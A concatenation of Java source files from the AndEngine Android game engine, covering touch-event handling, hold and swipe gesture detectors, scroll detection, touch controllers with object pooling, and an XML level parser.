import org.anddev.andengine.entity.scene.Scene.IOnSceneTouchListener;
import org.anddev.andengine.input.touch.TouchEvent;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 15:59:00 - 05.11.2010
*/
public abstract class BaseDetector implements IOnSceneTouchListener {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private boolean mEnabled = true;
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
public boolean isEnabled() {
return this.mEnabled;
}
public void setEnabled(final boolean pEnabled) {
this.mEnabled = pEnabled;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
protected abstract boolean onManagedTouchEvent(TouchEvent pSceneTouchEvent);
@Override
public boolean onSceneTouchEvent(final Scene pScene, final TouchEvent pSceneTouchEvent) {
return this.onTouchEvent(pSceneTouchEvent);
}
public final boolean onTouchEvent(final TouchEvent pSceneTouchEvent) {
if(this.mEnabled) {
return this.onManagedTouchEvent(pSceneTouchEvent);
} else {
return false;
}
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.input.touch.detector;
import org.anddev.andengine.engine.handler.IUpdateHandler;
import org.anddev.andengine.engine.handler.timer.ITimerCallback;
import org.anddev.andengine.engine.handler.timer.TimerHandler;
import org.anddev.andengine.entity.scene.Scene;
import org.anddev.andengine.input.touch.TouchEvent;
import android.os.SystemClock;
import android.view.MotionEvent;
/**
* Note: Needs to be registered as an {@link IUpdateHandler} to the {@link Engine} or {@link Scene} to work properly.
*
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 20:49:25 - 23.08.2010
*/
public class HoldDetector extends BaseDetector implements IUpdateHandler {
// ===========================================================
// Constants
// ===========================================================
private static final long TRIGGER_HOLD_MINIMUM_MILLISECONDS_DEFAULT = 200;
private static final float TRIGGER_HOLD_MAXIMUM_DISTANCE_DEFAULT = 10;
private static final float TIME_BETWEEN_UPDATES_DEFAULT = 0.1f;
// ===========================================================
// Fields
// ===========================================================
private long mTriggerHoldMinimumMilliseconds;
private float mTriggerHoldMaximumDistance;
private final IHoldDetectorListener mHoldDetectorListener;
private long mDownTimeMilliseconds = Long.MIN_VALUE;
private float mDownX;
private float mDownY;
private float mHoldX;
private float mHoldY;
private boolean mMaximumDistanceExceeded = false;
private boolean mTriggerOnHold = false;
private boolean mTriggerOnHoldFinished = false;
private final TimerHandler mTimerHandler;
// ===========================================================
// Constructors
// ===========================================================
public HoldDetector(final IHoldDetectorListener pClickDetectorListener) {
this(TRIGGER_HOLD_MINIMUM_MILLISECONDS_DEFAULT, TRIGGER_HOLD_MAXIMUM_DISTANCE_DEFAULT, TIME_BETWEEN_UPDATES_DEFAULT, pClickDetectorListener);
}
public HoldDetector(final long pTriggerHoldMinimumMilliseconds, final float pTriggerHoldMaximumDistance, final float pTimeBetweenUpdates, final IHoldDetectorListener pClickDetectorListener) {
this.mTriggerHoldMinimumMilliseconds = pTriggerHoldMinimumMilliseconds;
this.mTriggerHoldMaximumDistance = pTriggerHoldMaximumDistance;
this.mHoldDetectorListener = pClickDetectorListener;
this.mTimerHandler = new TimerHandler(pTimeBetweenUpdates, true, new ITimerCallback() {
@Override
public void onTimePassed(final TimerHandler pTimerHandler) {
HoldDetector.this.fireListener();
}
});
}
// ===========================================================
// Getter & Setter
// ===========================================================
public long getTriggerHoldMinimumMilliseconds() {
return this.mTriggerHoldMinimumMilliseconds;
}
public void setTriggerHoldMinimumMilliseconds(final long pTriggerHoldMinimumMilliseconds) {
this.mTriggerHoldMinimumMilliseconds = pTriggerHoldMinimumMilliseconds;
}
public float getTriggerHoldMaximumDistance() {
return this.mTriggerHoldMaximumDistance;
}
public void setTriggerHoldMaximumDistance(final float pTriggerHoldMaximumDistance) {
this.mTriggerHoldMaximumDistance = pTriggerHoldMaximumDistance;
}
public boolean isHolding() {
return this.mTriggerOnHold;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public void onUpdate(final float pSecondsElapsed) {
this.mTimerHandler.onUpdate(pSecondsElapsed);
}
@Override
public void reset() {
this.mTimerHandler.reset();
}
@Override
public boolean onManagedTouchEvent(final TouchEvent pSceneTouchEvent) {
final MotionEvent motionEvent = pSceneTouchEvent.getMotionEvent();
this.mHoldX = pSceneTouchEvent.getX();
this.mHoldY = pSceneTouchEvent.getY();
switch(pSceneTouchEvent.getAction()) {
case MotionEvent.ACTION_DOWN:
this.mDownTimeMilliseconds = motionEvent.getDownTime();
this.mDownX = motionEvent.getX();
this.mDownY = motionEvent.getY();
this.mMaximumDistanceExceeded = false;
return true;
case MotionEvent.ACTION_MOVE:
{
final long currentTimeMilliseconds = motionEvent.getEventTime();
final float triggerHoldMaximumDistance = this.mTriggerHoldMaximumDistance;
this.mMaximumDistanceExceeded = this.mMaximumDistanceExceeded || Math.abs(this.mDownX - motionEvent.getX()) > triggerHoldMaximumDistance || Math.abs(this.mDownY - motionEvent.getY()) > triggerHoldMaximumDistance;
if(this.mTriggerOnHold || !this.mMaximumDistanceExceeded) {
final long holdTimeMilliseconds = currentTimeMilliseconds - this.mDownTimeMilliseconds;
if(holdTimeMilliseconds >= this.mTriggerHoldMinimumMilliseconds) {
this.mTriggerOnHold = true;
}
}
return true;
}
case MotionEvent.ACTION_UP:
case MotionEvent.ACTION_CANCEL:
{
final long upTimeMilliseconds = motionEvent.getEventTime();
final float triggerHoldMaximumDistance = this.mTriggerHoldMaximumDistance;
this.mMaximumDistanceExceeded = this.mMaximumDistanceExceeded || Math.abs(this.mDownX - motionEvent.getX()) > triggerHoldMaximumDistance || Math.abs(this.mDownY - motionEvent.getY()) > triggerHoldMaximumDistance;
if(this.mTriggerOnHold || !this.mMaximumDistanceExceeded) {
final long holdTimeMilliseconds = upTimeMilliseconds - this.mDownTimeMilliseconds;
if(holdTimeMilliseconds >= this.mTriggerHoldMinimumMilliseconds) {
this.mTriggerOnHoldFinished = true;
}
}
return true;
}
default:
return false;
}
}
// ===========================================================
// Methods
// ===========================================================
protected void fireListener() {
if(this.mTriggerOnHoldFinished) {
this.mHoldDetectorListener.onHoldFinished(this, SystemClock.uptimeMillis() - this.mDownTimeMilliseconds, this.mHoldX, this.mHoldY);
this.mTriggerOnHoldFinished = false;
this.mTriggerOnHold = false;
} else if(this.mTriggerOnHold) {
this.mHoldDetectorListener.onHold(this, SystemClock.uptimeMillis() - this.mDownTimeMilliseconds, this.mHoldX, this.mHoldY);
}
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
public static interface IHoldDetectorListener {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public void onHold(final HoldDetector pHoldDetector, final long pHoldTimeMilliseconds, final float pHoldX, final float pHoldY);
public void onHoldFinished(final HoldDetector pHoldDetector, final long pHoldTimeMilliseconds, final float pHoldX, final float pHoldY);
}
}
| Java |
package org.anddev.andengine.input.touch.detector;
import org.anddev.andengine.input.touch.TouchEvent;
import android.view.GestureDetector;
import android.view.GestureDetector.SimpleOnGestureListener;
import android.view.MotionEvent;
/**
* @author rkpost
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 11:36:26 - 11.10.2010
*/
public abstract class SurfaceGestureDetector extends BaseDetector {
// ===========================================================
// Constants
// ===========================================================
private static final float SWIPE_MIN_DISTANCE_DEFAULT = 120;
// ===========================================================
// Fields
// ===========================================================
private final GestureDetector mGestureDetector;
// ===========================================================
// Constructors
// ===========================================================
public SurfaceGestureDetector() {
this(SWIPE_MIN_DISTANCE_DEFAULT);
}
public SurfaceGestureDetector(final float pSwipeMinDistance) {
this.mGestureDetector = new GestureDetector(new InnerOnGestureDetectorListener(pSwipeMinDistance));
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
protected abstract boolean onSingleTap();
protected abstract boolean onDoubleTap();
protected abstract boolean onSwipeUp();
protected abstract boolean onSwipeDown();
protected abstract boolean onSwipeLeft();
protected abstract boolean onSwipeRight();
@Override
public boolean onManagedTouchEvent(final TouchEvent pSceneTouchEvent) {
return this.mGestureDetector.onTouchEvent(pSceneTouchEvent.getMotionEvent());
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
private class InnerOnGestureDetectorListener extends SimpleOnGestureListener {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final float mSwipeMinDistance;
// ===========================================================
// Constructors
// ===========================================================
public InnerOnGestureDetectorListener(final float pSwipeMinDistance) {
this.mSwipeMinDistance = pSwipeMinDistance;
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public boolean onSingleTapConfirmed(final MotionEvent pMotionEvent) {
return SurfaceGestureDetector.this.onSingleTap();
}
@Override
public boolean onDoubleTap(final MotionEvent pMotionEvent) {
return SurfaceGestureDetector.this.onDoubleTap();
}
@Override
public boolean onFling(final MotionEvent pMotionEventStart, final MotionEvent pMotionEventEnd, final float pVelocityX, final float pVelocityY) {
final float swipeMinDistance = this.mSwipeMinDistance;
final boolean isHorizontalFling = Math.abs(pVelocityX) > Math.abs(pVelocityY);
if(isHorizontalFling) {
if(pMotionEventStart.getX() - pMotionEventEnd.getX() > swipeMinDistance) {
return SurfaceGestureDetector.this.onSwipeLeft();
} else if(pMotionEventEnd.getX() - pMotionEventStart.getX() > swipeMinDistance) {
return SurfaceGestureDetector.this.onSwipeRight();
}
} else {
if(pMotionEventStart.getY() - pMotionEventEnd.getY() > swipeMinDistance) {
return SurfaceGestureDetector.this.onSwipeUp();
} else if(pMotionEventEnd.getY() - pMotionEventStart.getY() > swipeMinDistance) {
return SurfaceGestureDetector.this.onSwipeDown();
}
}
return false;
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
public static class SurfaceGestureDetectorAdapter extends SurfaceGestureDetector {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
protected boolean onDoubleTap() {
return false;
}
@Override
protected boolean onSingleTap() {
return false;
}
@Override
protected boolean onSwipeDown() {
return false;
}
@Override
protected boolean onSwipeLeft() {
return false;
}
@Override
protected boolean onSwipeRight() {
return false;
}
@Override
protected boolean onSwipeUp() {
return false;
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
} | Java |
package org.anddev.andengine.input.touch.detector;
import org.anddev.andengine.input.touch.TouchEvent;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 16:12:29 - 16.08.2010
*/
public class SurfaceScrollDetector extends ScrollDetector {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
public SurfaceScrollDetector(final float pTriggerScrollMinimumDistance, final IScrollDetectorListener pScrollDetectorListener) {
super(pTriggerScrollMinimumDistance, pScrollDetectorListener);
}
public SurfaceScrollDetector(final IScrollDetectorListener pScrollDetectorListener) {
super(pScrollDetectorListener);
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
protected float getX(final TouchEvent pTouchEvent) {
return pTouchEvent.getMotionEvent().getX();
}
@Override
protected float getY(final TouchEvent pTouchEvent) {
return pTouchEvent.getMotionEvent().getY();
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.input.touch;
import org.anddev.andengine.util.pool.GenericPool;
import android.view.MotionEvent;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 10:17:42 - 13.07.2010
*/
public class TouchEvent {
// ===========================================================
// Constants
// ===========================================================
public static final int ACTION_CANCEL = MotionEvent.ACTION_CANCEL;
public static final int ACTION_DOWN = MotionEvent.ACTION_DOWN;
public static final int ACTION_MOVE = MotionEvent.ACTION_MOVE;
public static final int ACTION_OUTSIDE = MotionEvent.ACTION_OUTSIDE;
public static final int ACTION_UP = MotionEvent.ACTION_UP;
private static final TouchEventPool TOUCHEVENT_POOL = new TouchEventPool();
// ===========================================================
// Fields
// ===========================================================
protected int mPointerID;
protected float mX;
protected float mY;
protected int mAction;
protected MotionEvent mMotionEvent;
// ===========================================================
// Constructors
// ===========================================================
public static TouchEvent obtain(final float pX, final float pY, final int pAction, final int pPointerID, final MotionEvent pMotionEvent) {
final TouchEvent touchEvent = TOUCHEVENT_POOL.obtainPoolItem();
touchEvent.set(pX, pY, pAction, pPointerID, pMotionEvent);
return touchEvent;
}
private void set(final float pX, final float pY, final int pAction, final int pPointerID, final MotionEvent pMotionEvent) {
this.mX = pX;
this.mY = pY;
this.mAction = pAction;
this.mPointerID = pPointerID;
this.mMotionEvent = pMotionEvent;
}
public void recycle() {
TOUCHEVENT_POOL.recyclePoolItem(this);
}
public static void recycle(final TouchEvent pTouchEvent) {
TOUCHEVENT_POOL.recyclePoolItem(pTouchEvent);
}
// ===========================================================
// Getter & Setter
// ===========================================================
public float getX() {
return this.mX;
}
public float getY() {
return this.mY;
}
public void set(final float pX, final float pY) {
this.mX = pX;
this.mY = pY;
}
public void offset(final float pDeltaX, final float pDeltaY) {
this.mX += pDeltaX;
this.mY += pDeltaY;
}
public int getPointerID() {
return this.mPointerID;
}
public int getAction() {
return this.mAction;
}
public boolean isActionDown() {
return this.mAction == TouchEvent.ACTION_DOWN;
}
public boolean isActionUp() {
return this.mAction == TouchEvent.ACTION_UP;
}
public boolean isActionMove() {
return this.mAction == TouchEvent.ACTION_MOVE;
}
public boolean isActionCancel() {
return this.mAction == TouchEvent.ACTION_CANCEL;
}
public boolean isActionOutside() {
return this.mAction == TouchEvent.ACTION_OUTSIDE;
}
/**
* Provides the raw {@link MotionEvent} that originally caused this {@link TouchEvent}.
* The coordinates of this {@link MotionEvent} are in surface-coordinates!
* @return
*/
public MotionEvent getMotionEvent() {
return this.mMotionEvent;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
private static final class TouchEventPool extends GenericPool<TouchEvent> {
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
protected TouchEvent onAllocatePoolItem() {
return new TouchEvent();
}
}
}
| Java |
package org.anddev.andengine.input.touch.controller;
import android.view.MotionEvent;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 20:23:33 - 13.07.2010
*/
public class SingleTouchControler extends BaseTouchController {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
public SingleTouchControler() {
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public boolean onHandleMotionEvent(final MotionEvent pMotionEvent) {
return this.fireTouchEvent(pMotionEvent.getX(), pMotionEvent.getY(), pMotionEvent.getAction(), 0, pMotionEvent);
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.input.touch.controller;
import org.anddev.andengine.engine.options.TouchOptions;
import org.anddev.andengine.input.touch.TouchEvent;
import org.anddev.andengine.util.pool.RunnablePoolItem;
import org.anddev.andengine.util.pool.RunnablePoolUpdateHandler;
import android.view.MotionEvent;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 21:06:40 - 13.07.2010
*/
public abstract class BaseTouchController implements ITouchController {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private ITouchEventCallback mTouchEventCallback;
private boolean mRunOnUpdateThread;
private final RunnablePoolUpdateHandler<TouchEventRunnablePoolItem> mTouchEventRunnablePoolUpdateHandler = new RunnablePoolUpdateHandler<TouchEventRunnablePoolItem>() {
@Override
protected TouchEventRunnablePoolItem onAllocatePoolItem() {
return new TouchEventRunnablePoolItem();
}
};
// ===========================================================
// Constructors
// ===========================================================
public BaseTouchController() {
}
// ===========================================================
// Getter & Setter
// ===========================================================
@Override
public void setTouchEventCallback(final ITouchEventCallback pTouchEventCallback) {
this.mTouchEventCallback = pTouchEventCallback;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public void reset() {
if(this.mRunOnUpdateThread) {
this.mTouchEventRunnablePoolUpdateHandler.reset();
}
}
@Override
public void onUpdate(final float pSecondsElapsed) {
if(this.mRunOnUpdateThread) {
this.mTouchEventRunnablePoolUpdateHandler.onUpdate(pSecondsElapsed);
}
}
protected boolean fireTouchEvent(final float pX, final float pY, final int pAction, final int pPointerID, final MotionEvent pMotionEvent) {
final boolean handled;
if(this.mRunOnUpdateThread) {
final TouchEvent touchEvent = TouchEvent.obtain(pX, pY, pAction, pPointerID, MotionEvent.obtain(pMotionEvent));
final TouchEventRunnablePoolItem touchEventRunnablePoolItem = this.mTouchEventRunnablePoolUpdateHandler.obtainPoolItem();
touchEventRunnablePoolItem.set(touchEvent);
this.mTouchEventRunnablePoolUpdateHandler.postPoolItem(touchEventRunnablePoolItem);
handled = true;
} else {
final TouchEvent touchEvent = TouchEvent.obtain(pX, pY, pAction, pPointerID, pMotionEvent);
handled = this.mTouchEventCallback.onTouchEvent(touchEvent);
touchEvent.recycle();
}
return handled;
}
// ===========================================================
// Methods
// ===========================================================
@Override
public void applyTouchOptions(final TouchOptions pTouchOptions) {
this.mRunOnUpdateThread = pTouchOptions.isRunOnUpdateThread();
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
class TouchEventRunnablePoolItem extends RunnablePoolItem {
// ===========================================================
// Fields
// ===========================================================
private TouchEvent mTouchEvent;
// ===========================================================
// Getter & Setter
// ===========================================================
public void set(final TouchEvent pTouchEvent) {
this.mTouchEvent = pTouchEvent;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public void run() {
BaseTouchController.this.mTouchEventCallback.onTouchEvent(this.mTouchEvent);
}
@Override
protected void onRecycle() {
super.onRecycle();
final TouchEvent touchEvent = this.mTouchEvent;
touchEvent.getMotionEvent().recycle();
touchEvent.recycle();
}
}
}
| Java |
package org.anddev.andengine.input.touch.controller;
import org.anddev.andengine.engine.handler.IUpdateHandler;
import org.anddev.andengine.engine.options.TouchOptions;
import org.anddev.andengine.input.touch.TouchEvent;
import android.view.MotionEvent;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 20:23:45 - 13.07.2010
*/
public interface ITouchController extends IUpdateHandler {
// ===========================================================
// Final Fields
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public void setTouchEventCallback(final ITouchEventCallback pTouchEventCallback);
public void applyTouchOptions(final TouchOptions pTouchOptions);
public boolean onHandleMotionEvent(final MotionEvent pMotionEvent);
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
static interface ITouchEventCallback {
public boolean onTouchEvent(final TouchEvent pTouchEvent);
}
}
| Java |
package org.anddev.andengine.level;
import java.util.HashMap;
import org.anddev.andengine.level.LevelLoader.IEntityLoader;
import org.anddev.andengine.level.util.constants.LevelConstants;
import org.xml.sax.Attributes;
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 14:35:32 - 11.10.2010
*/
public class LevelParser extends DefaultHandler implements LevelConstants {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final IEntityLoader mDefaultEntityLoader;
private final HashMap<String, IEntityLoader> mEntityLoaders;
// ===========================================================
// Constructors
// ===========================================================
public LevelParser(final IEntityLoader pDefaultEntityLoader, final HashMap<String, IEntityLoader> pEntityLoaders) {
this.mDefaultEntityLoader = pDefaultEntityLoader;
this.mEntityLoaders = pEntityLoaders;
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public void startElement(final String pUri, final String pLocalName, final String pQualifiedName, final Attributes pAttributes) throws SAXException {
final IEntityLoader entityLoader = this.mEntityLoaders.get(pLocalName);
if(entityLoader != null) {
entityLoader.onLoadEntity(pLocalName, pAttributes);
} else {
if(this.mDefaultEntityLoader != null) {
this.mDefaultEntityLoader.onLoadEntity(pLocalName, pAttributes);
} else {
throw new IllegalArgumentException("Unexpected tag: '" + pLocalName + "'.");
}
}
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.